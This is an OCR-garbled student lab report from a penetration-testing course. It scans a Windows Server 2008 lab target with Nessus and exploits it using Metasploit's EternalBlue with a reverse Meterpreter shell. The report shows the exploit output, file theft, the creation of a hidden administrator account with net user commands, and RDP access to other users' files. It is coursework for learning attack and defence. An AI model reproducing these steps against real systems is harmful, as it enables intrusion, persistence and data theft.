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Task A. Select your exploits
1. Use Nessus to find all FIVE critical security issues in the target Windows Server 2008.

Applications ~ Places ¥ @ Firefox ESR Sun19:00

Nessus Essentials / Folders / View Scan - Mozilla Firefox

Nessus Essentials / Fold: X | +

<« => C o D & https://localhost
Nessus Home '\ KaliLinux '\ KaliDocs '\ Kali Tools = Exploit-DB % Most Visited
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Microsoft RDP RCE (CVE-2019-0708) (Blu Windows 1 Policy Advanced

Scanners Status: Paused
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2. Search for an exploit that targets a security issue other than MS17-010.

3. Discuss the exploit you select, such as how it works and the required configurations, etc.

+ ol Attacker Kali - External Workstation on CY301-RPATEDTS

Applications v Places ¥ @ Firefox ESR ~ Sun19:06

Nessus Essentials / Folders / View Scan - Mozilla Firefox

Nessus Essentials / Fold: X | 4+
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Nessus Home '\ KaliLinux *\ KaliDocs '\ Kali Tools = Exploit-DB % Most Visited
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Trash
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Policies Description
) Plugin Rules The remote host Is affected by a remote code execution vulnerability in Remote Desktop Protocol (RDP). An

€ s unauthenticated, remote attacker can exploit this, via a series of specially crafted requests, to execute arbitrary code
& Scanners ’
Solution
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| have selected the Microsoft RDP RCE (CVE-2019-0708) exploit. It can allow to open the
backdoor in the system using the exploit system, and configure the different features, so the users

activities can be recorded.



Task B. ms17_010_eternalblue

Use ms17_010 eternalblue and reverse_tcp as the exploit and payload to launch the attack. You

need
to use the following configuration for the reverse shell.
1. Listening Port: Use 30123 as the listening port number.

Cl- ‘_J Attacker Kali - External Workstation on CY301-RPATEO15 - Virtual Machine Connection

File Action Media Clipboard View Help
D@0 | nw fd g
Applications v Places v  [J Terminal ~ Sun19:34

root@CS2APenTest: ~
- File Edit View Search Terminal Help

VMshare Id Name

File

0 Windows 7 and Server 2008 R2 (x64) All Service Packs

msf5 exploit( ) > set rhosts 192.168.10.11
rh 192.168.10.11
msfS exploit( ) > show options

Module options (exploit/windows/smb/ms1l7 010 eternalblue):
Name Current Setti

RHOSTS 192.168.10.11 arg address range or CIDR id
entifier

RPORT 445 The target port (TCP)

SMBDomain 5 0 (Optional) The wWindows domain to us
e for authentication

SMBPass 0 (Optional) The password for the spe

(Optlonall The username to authenti

VERIFY_ ARCH true e Check if remote architecture matche
s exploit Target.

Hyper-V Manager B Attacker Kali- Biter.. B pFsense - Firewall6.. 3 Ubuntu64-biton C... T Windows Server 20
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B Attacker Kali - External Workstation on CY301-RPATED1S - Virtual Machine Connection
File Action Media Clipboard View Help
2@ n B > &
Applications ~ Places ~ G Terminal ~ Sun19:42
root@CS2APenTest: ~
: File Edit View Search Terminal Help
umap -

Zenmap GU!
- Payload options (windo x64/meterpreter/reverse tcp):

Required Description

T address (an interface may
specified)
LPORT S S ten port

Exploit target

rver 2008 R2 (x64) All Service Packs

LHOST

1
msfs exploit( set LPORT

> 30123

ploit( - il

~N
Big Hyper-V Mansger B AttackerKati-Exter. B prrcnce - Firewall 6. BB Ubuntu 64-bit on C

2:42 PM
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@ lab-connect.cova-cci.org/hlips-3440 « lee it master/wne_suto.htmlZpath —vnc/vm/ca221 adab-d45ec5azeacs 58-4226-addb-ad5e

Connected (encrypred) to: CYSE-rpate01Ssia

BB Artacker Kali - External Workstation on CY301-RPATEOS - Virtual Machine Connection

File Action Media Clipboard View Help

Sun 19:43 e o O~
root@CS2APenTest: ~
File Edit View Search Terminal Help
e it Target.
VERIFY TARGET S f remote matches exploit
Targe

load option

Name
addre
The listen port

Exploit target:

Id Nam

B Ubuntu 64-bi B windows Server 2
B ubuntu 64-bit < L dows Server 20.
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- B Attacker Kali - External Werkstation on CY301-RPATEO1S - Virtual Machine Connection
» :

File Action Media Clipboard View Help
@0 nnp»
Places ¥ [J Terminal = Sun19:45 rd

File

root@CS2APenTest: ~

File Edit View Search Terminal Help
ver 2008 R2 Standard 7600 x64 (64-bit)
192.168.10.11:445 - nnecting to target for exploitation
11:445 loitation.
.11:445 Target selected valid for 0S5 indicated by SMB reply
.11:445 CORE raw buffer dump (36 bytes)
.11:445 00000000 57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20
Server 2
10.11:445 - Ox00000010 3 3 3 ©® 52 32 20 53 74 61 6e 64 61 72 64

0x00000020 37 EL]

valid arch indicated by DCE/RPC
reply
192 0 : 445 0 with 12 Groom Allocations.
1445 - d L1 b st fragment of ploit
168.10.11:445 - S t aged pool grooming
168.10.11:445 - C Bv2 buffe
168.10.11:445 L 4 Bvl connection creating free hole
SMBv2 buff
192.168.10.11:445 final SMBv2 buffers.
192. 1 10.11:445
.168.10.11:445
10.11:445

168.10.11:445 Sending egg to rupted connection.
.168.10.11:445 - Triggering free of corrupted buffer.
6403 bytes) to 192.168.217.2
sion 1 opened (192.168.217.3:30123 -> 192.168.217.2:20225)
-8500

2022-11-06 19:44:51
192.168.10.11:445
168.10.11:

192.168.10.11:
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2. Background your meterpreter session. Then display the list of your active session(s)
with connection peers.

B3 Attacker Kali - External Workstation on CY301-RPATED1S - Virtual Machine Connection
| File Action Media Clipboard View Help
200 n
Applications ~ Places > [ Terminal ~ Sun19:48
root@CS2APenTest:

File Edit View Search Terminal Help

estab hed for exploitation.

selected valid for 0S indicated by SMB reply

CORE raw buffer dump (36 bytes)

0x00000000 57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32 Windows Server 2
0x00000010 30 30 38 20 52 32 20 53 74 61 6e 64 61 72 64 20 008 R2 Standard
0x00000020 37 36 30 7600

Target arch selected

nding all but 1
arting non-
ending SMBv2 buf
Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
ending final Bv2 buff 5
Sending last fragment of exploit packet!
Receiving response f exploit packet
ETERNALBLUE overwrite completed successfully (0xCee0000D)!
Sending g to corrupted connection.
metasploitframeworki45 - Triggering free of corrupted buffer.
Sending stage (2064 3 to 192.168.217.2
Meterpreter N (192.168.217.3:30123 168. . 5) at 2022-11-06 19:44:51 -0500
192.168.10.1 - =-=-z-z-=.z-=
1 168.10.11:445
192.168.10.11:445

Name Type Information Connection

meterpreter x64/windows NT AUTHORITY\SYSTEM @ W2008R2 192.168.217.3:30123 -> 192.168.217.2:20225 (192.168 lelp [

1 | foi
A

S AttackerKali- Biter.. T pFsense - Firewall6.. 3 Ubuntu64-biton C.. T Windows Server 2
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Task C. Basic Information harvesting

Once you have established the reverse shell connection to the target Windows Server 2008,
complete

the following tasks in your meterpreter shell:

1. Take a screenshot of the target machine, then display it.

e
File Action Media Clipboard View Help
D@0 nwr(fod i
Applications ~ Places * [ Terminal » Sun20:14
root@CS2APenTest: ~

le

File Edit View Search Terminal Help
] dir
4096 dir
2] ir

-0400 Tasks
:14 -0400 Temp
o 3 a 0400 V<c

EP Windows Server 2008 R2 x84 on CY301-RPATE1S - Virtual Machine Connection

File Action Media Clipboard View Help
D@0 nw o g

40777/ A"WindowsServer?aaé

40777/ Standard

I spectying computer rfomation

m Hyper-V Manager

Activate Windows
Set time zone

igure networking

A Provide computer name and domain

, Enable automatic updating and feedback

Download and install updates

}Eﬁ Add roles

B Attacker Kali - xter.. B pFsense - Firewall 6..

Product ID:
Time Zone:

Privatel NET:
vMshareNetworkonh

Full Computer Name:

Workgroup:

Updates:
Feedback:

Checked for Updates: Neve
Installed Updates:

B ubuntubd-biton C.. T Windows Server 20..

u Updating your Windows server

k‘ Customizing your server
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2. Create a text file on the External Kali named "IMadelT-YourMIDAS.txt" (replace
YourMIDAS

with your university MIDAS ID) and put “This is XXX, hello pumpkin!” in the file. Then,
upload

this file to the target's desktop (Windows Server 2008). Then log in to Windows Server 2008
and check if the file exists. You need to show me the command that uploads the file.

B Attacker Kali - External Workstation on CY301-RPATED1S - Virtual Machine Connection
File Action Media Clipboard View Help
D@0 nr fod 8
S Applications ~ Places ¥  [J Terminal ~ Sun20:08

root@CS2APenTest: ~

File Edit View Search Terminal Help
: # touch IMadeIT-rpate®l5.txt
: # echo "This is rpate@l5, hello pumpkin!*
This is rpate@l5 ello pumpkin!
n H cat IMadeIT-rpate®l5.txt
: # echo "This is rpate@l5, hello pumpkin!" > IMadelT-rpate@l5.t
xt

x : # cat IMadeIT-rpate@l5.txt
This is rpate®l5, hello pumpkin!
1 #

VMshare

By Hyperv Manager B Attacker Kali- Bxter.. D pFsense - Firewall 6. T Ubuntu64-biton C.. T Windows Server 20..
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E Attacker Kali - External Workstation on CY301-RPATED1S - Virtual Machine Connection
File Action Media Clipboard View Help
D@0 ump > B
Places ¥ [ Terminal ~ Sun20:22

root@CS2APenTest: ~

File Edit View Search Terminal
0777/ rWXrwXxrw> 2017-0 :16:09 -0400
-9400
0400 My Document
-9400 NTUSER.DAT
® NTUSER.DAT{©16888bd-6c6f-11de-8dld-00le@bcde3ec}.TM.blf
-9400 NTUSER.DAT{016888bd-6c6f-11de-8dld-00le@bcde3ec}.TMContainer

NTUSER.DAT{016888bd-6¢c6f-11de-8d1ld-001edbcde3ec}.TMContainer

NetHood
40555/ r

40777/ rwX rwxrw. o PrintHood

tart Menu
Templates
video
ntuser.dat.L0G1
e ntuser.dat.LOG:
- rw- ] ° 116 e ntuser.ini

cd Desktop
ls
\Users\Administrator\Desktop

upload IMadelIT-rpate@l5
IMadeIT-rpate®l5. txt
uploaded 00 B of 33.00 B
uploaded IMadeIT-rp.

Bl Hyperv Manager D Attacker Ka
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- B Windows Server 2008 R2 x64 on €Y301-RPATEO1S - Virtual Machine Connection
File Action Media Clipb(

File File Action Media Clipboard View Help

2.0.8 5.8 @O | nw» fd &

File Edit Format View Help
This is rpate0is, hello pumpkin!

VMware
Workstati..

meterpreter

-~

By Hyper-v Manager B Attacker Kali- Exter.. DM pFsense - Firewall 6.. 39 Ubuntu 64-biton C.. S8 Windows Server 2
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3. Steal (download) the file “YouMadelt.txt” from “C:/inetpub/ftproot/”.

| EJ Attacker Kali - External Workstation on CY301-RPATED1S - Virtual Machine Connection

| File Action Media Clipboard View Help
‘|

D@0 nr /o &
Applications ¥ Places v [ Terminal = [1] SO~
root@CS2APenTest: ~

File Edit View Search Terminal Help
meterpreter > cd
meterpreter > dc
Unknown comm
meterpreter > cd
meterpreter > 1s

Mode i modified Name
Administrator
All Us
Default
Default User
Public
174 -07- :57: - desktop.ini

tem cannot find the file spec

terpreter cd inetpub
meterpreter cd ftproot
meterpreter > ls
Listing: C:\inetpub\ftproot

Last modified Name

100666/ rw-rw-rw- 22- :26:15 -0500 pGIIEEL g PR eqd
100666/ rw-rw-rw- = 4 4 1:29 -0400 YouMadeIt.txt.txt
100666/ rw-rw-rw E 2022- :16:50 -8400 rpate®l5.txt

meterpreter > download YouMadeIT.txt
Downloading: YouMadeIT.txt YouMadeIT.txt
Downloaded 35.00 B of 35 (1e@ ): YouMadeIT.txt
jownload : YouMadeIT. txt YouMadeIT. txt
reter >

Bl Hyper v Manager D AttackerKali- Exter.. B pFsense - Firewall 6. 9 Ubuntu64-biton .. 1 Windows Server 20.
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4. Access the Windows Command Prompt via the meterpreter shell, then create a malicious user,
YourMIDAS, with admin privilege in the Windows Server 2008. Please replace XXX with your
MIDAS ID.

pplications v Places ¥ bJ Terminal ~

root@CS2APenTest: ~

File Edit View Search Terminal Help
4041 -06- :03: - xwizard.dtd
42496 -07- = xwizard.exe
432640 -07- z - xwizards.dll
101888 -07- H:H - xwreg.dll
100666/ rw-rw-rw- 201216 -07- - xwtpdui.dll
100666/ rw -rw- 129536 =9 7= o xwtpw32.dll
40777/ rw -07- £ zh-CN
40777/ rwxrwxrwx -07- - zh-HK
40777/ rwxrwxrwx -07- * zh-TW
100666/ rw-rw-rw- 366080 -07- :56: - zipfldr.dll

meterpreter > pwd

C:\windows\System32

meterpreter > shell

Process 628 created.

Channel 7 created.

Microsoft Windows [Version 6.1.7600]

Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\windows\System32>net user rpate@l5 p@sswérd /add
net user rpate@l5 p@sswlrd /add
The command completed successfully.

C:\windows\System32>net localgroup administrator rpate@l5 /add
net localgroup administrator rpate0l5 /add
System error 1376 has occurred.

The specified local group does not exist.

Cg¢\windows\System32>net localgroup administrators rpate®l5 /add
n localgroup administrators rpate@l5 /add
The command completed successfully.

C:\windows\System32
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— e nnax
L B8 Windows Server 2008 R2 x64 on CY301-RPATEO15 - Virtual Machine Connection = o X

File Action Media Clipbq
File | File Action Media Clipboard View Help

=] D@0 nn
D@0 uwn(iod i
Applications v Places

File Edit View
10066

100777/ rwxrw —
100666/ W P\ /= [ - ControlPanel - User Accounts ~ User Accounts ~ Manage Accounts v K23 [ search Control Panel

Recyde Bin

nage Accounts

Choose the account you would like to change
100666
40777/ rwXrwXrwx
40777/ rwXrwXrwx
40777/ rwxXrwxrwx
100

Administrator

Guest
- Guest account is off
‘rocess
Channel 7 crea
Microsoft Win
yright (c)

Create a new account

What is a user account?

group Additional things you can do
1 Go to the main User Accounts page

pecified

indows\Syste

mand comj

ttacker Kali - Exter... 99 pFs 6 Ubuntu 64-biton C... 38 Windows Server 20.
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5. Remote access to the malicious account created in the previous step and browse the files
belonging to the other users in the RDP.

Applications ¥ Places ¥ [ rdesktop v Sun 20:52

root@CS2APenTest: ~
View Search Ti
File Edit View Search Terminal Help

: # rdesktop 192.168.10.11 -u rpate@ls
d keyboard m
e correct kerberos tgt initialized

129536 Connection e
0 NING: Rer
0 rdesktop - 192.168.10.11

0

Recycle Bin

Copyright (c) 2009

32
roup admi
1376 h

952 PM
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B Attacker Kali - External Workstation on CY301-RPATEO1S - Virtual Machine Connection

File Action Media Clipboard View Help

@0 umn (> f

Applications ~ Places ¥ [ rdesktop ~ Sun20:54

File Edit View Seard| fesktnp TR ISR IO

100666/ rw-rw-rw- 40

180777/ rwX rwxrwx < J = Computer « Lacal Disk (C:) ~ inetpub « ~ 22 | search inetpub

Organize v  Includeinlibrary »  Sharswith v  New folder

51r Favorites Name - Date modfied | Type

B Desktop custerr
& Downloads
Recent Places

8[24/2017 2:23PM
ftproct 11/6/2022 9:26 PM
history 9252017 5:21 PM
logs 8/24/2017 2:30 PM
temp 8[24/2017 2:23 PM
8/24/2017 2:23PM

File folder
File folder
File folder
File folder
File folder
File Folder

= 4 Libraries
4 | < Documents

4 o) Music waiiroot

meterpreter
P 628 crea
m Channel 7 created.

+ e Pictures
+ B videos
Microsoft Windows [V

-k
right (c) 2009 M omp e

1 ¥ Network

net l,urrllqlo-up ad
System error 1376 ha

The specified local

indows\System32> "
NSS4 1group admin:

he command c{IulvR=3S=Te BETTT

B Artacker Koli - xter.. D pFsense - Firewall6.. 9 Ubuntu64-biton C.. B Windows Server 20

B9 Hyper-v Manager

v

9:54 M
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Lab Description:

e Inthis lab I have learned how to find vulnerabilities of systems with NESSUS tool.

e What are the security risks of vulnerabilities.

e How a system can compromise using vulnerabilities.
e How to enable the reverse shell.

e Setthe LHOST, RHOST, and LPORT.

¢ How to upload and download the files on exploit.

e Enable the remote login.

e Manipulate other user’s files with admin access.
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